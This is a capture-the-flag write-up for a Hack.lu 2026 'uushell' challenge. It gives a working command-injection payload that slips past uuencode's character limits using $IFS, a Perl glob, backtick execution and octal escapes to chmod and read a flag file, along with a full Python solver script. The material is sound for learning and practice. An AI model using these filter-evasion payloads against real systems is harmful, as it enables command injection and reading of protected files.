$ cat writeup.md…
$ cat writeup.md…
Hack.lu CTF 2026
Task: A service executes only the second line of uuencode output with dash, and the target file is mode 000 but owned by the current user. Solution: Invert uuencode and use glob-selected Perl, case folding, octal spaces, and stderr redirection to chmod and read it.
Are youu capable of uunderstanding the uushell?
Solve locally first, then create an instance to get the flag.
English summary: the handout supplies a small Debian service that transforms attacker input with uuencode, executes only one encoded output line, and stores the target in a file that starts with mode 000.
The important handout configuration is:
FROM debian:bookworm-slim RUN apt update && apt install -y sharutils socat COPY flag.txt /flag USER nobody CMD ["socat", "tcp-l:1337", "system:uuencode x | sed -n 2p | sh"]
Thus every connection runs:
uuencode x | sed -n 2p | sh
In this image, /bin/sh is dash. The process runs as nobody, and /flag is also owned by nobody but has mode 000. The owner can still change that mode, so the required operation is chmod followed by a file read; no privilege escalation is needed.
The real constraint is that input does not go directly to dash. It is uuencoded first, and only output line 2 becomes the shell program.
For exactly 45 input bytes, the first encoded data line is uuencode output line 2. It consists of:
M, because 45 + 0x20 = 0x4d;The data-character alphabet is byte 0x60 (backtick) for a zero sextet, plus 0x21..0x5f for the other sextets. Consequently, the generated shell line can contain uppercase letters and many punctuation characters, but no literal spaces and no lowercase letters.
A useful line layout is:
M;CODE;################################
The forced M is isolated as a harmless nonexistent command by the first semicolon. A semicolon after CODE prevents the # padding from joining the final token, and the padding is then only a shell comment. Among the 60 data characters, this leaves a 58-character budget for CODE.
Two shell primitives avoid the alphabet restrictions:
$IFS expands to shell whitespace and separates arguments without a literal space;In the challenge image, /*/*36* expands uniquely to /bin/perl5.36.0. Perl accepts uppercase -E with the program attached to the same argument. The program can be a backtick expression, which Perl treats as a quote-like, double-quoted string and executes as a shell command.
That string supplies the missing transformations:
\L lowercases following uppercase letters;\040 produces a literal space.These escapes are interpreted by Perl, not by dash. This distinction matters: dash does not support Bash's ANSI-C $'...' quoting. The payload instead uses ordinary dash single quotes to preserve the backticks and backslashes until Perl parses them.
The final code is exactly 56 characters, excluding any trailing newline:
(/*/*36*$IFS-E'`\LCHMOD\040444\040/*;CAT\040/*>&2`')2>&1
Its operation is as follows:
( ... )2>&1 runs the command in a subshell and redirects its stderr to stdout, which is the stream returned through the service socket.
/*/*36* selects /bin/perl5.36.0; unquoted $IFS separates it from the attached -E program argument.
The ordinary single quotes let dash pass the backtick expression to Perl unchanged.
Perl interprets the backtick string as this lowercase shell command:
chmod 444 /*;cat /*>&2
chmod reports harmless permission errors for root-owned entries but succeeds on the nobody-owned /flag. The subsequent cat reports directories and continues, reading the now-readable file.
Perl backticks normally capture stdout. The inner >&2 therefore sends the file contents to stderr instead, bypassing that capture; the outer 2>&1 moves stderr back to the socket's stdout.
The following complete script constructs the required 60 data characters and reverses uuencode's four-character/three-byte packing. It writes the 45 bytes to stdout.
#!/usr/bin/env python3 import sys CODE = r"(/*/*36*$IFS-E'`\LCHMOD\040444\040/*;CAT\040/*>&2`')2>&1" assert len(CODE) == 56 def dec(ch): if ch == "`": return 0 value = ord(ch) - 0x20 if not 1 <= value <= 63: raise ValueError(f"character outside uuencode data alphabet: {ch!r}") return value def build(code): data = (";" + code + ";").ljust(60, "#") assert len(data) == 60 out = bytearray() for offset in range(0, 60, 4): a, b, c, d = (dec(ch) for ch in data[offset:offset + 4]) out.append((a << 2) | (b >> 4)) out.append(((b & 0x0f) << 4) | (c >> 2)) out.append(((c & 0x03) << 6) | d) return bytes(out) if __name__ == "__main__": sys.stdout.buffer.write(build(CODE))
Generate and inspect the input without executing it:
python3 solve.py > p_final.bin test "$(wc -c < p_final.bin)" -eq 45 uuencode x < p_final.bin | sed -n 2p
The last command should show the forced M, a semicolon, the exact payload above, another semicolon, and two # padding characters.
From the extracted handout directory, build the supplied image and replay the real pipeline as nobody:
docker build -t uushell-local . docker run --rm -i --user nobody --entrypoint sh uushell-local \ -c 'uuencode x | sed -n 2p | sh' < p_final.bin
The output is noisy because permission and directory errors are deliberately redirected to stdout, but it includes the contents of the handout's local test file. This verifies both the encoding and the mode-000 permission transition.
To test the network boundary as well, start the unmodified container in one terminal:
docker run --rm -p 3337:1337 uushell-local
Then send the same bytes in another terminal:
socat - TCP:127.0.0.1:3337 < p_final.bin
The payload was validated through both the direct pipeline and the TCP/socat setup before being used against the remote instance.
Use this technique when:
sh;$IFS replaces literal spaces;\L and spaces with \040;$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar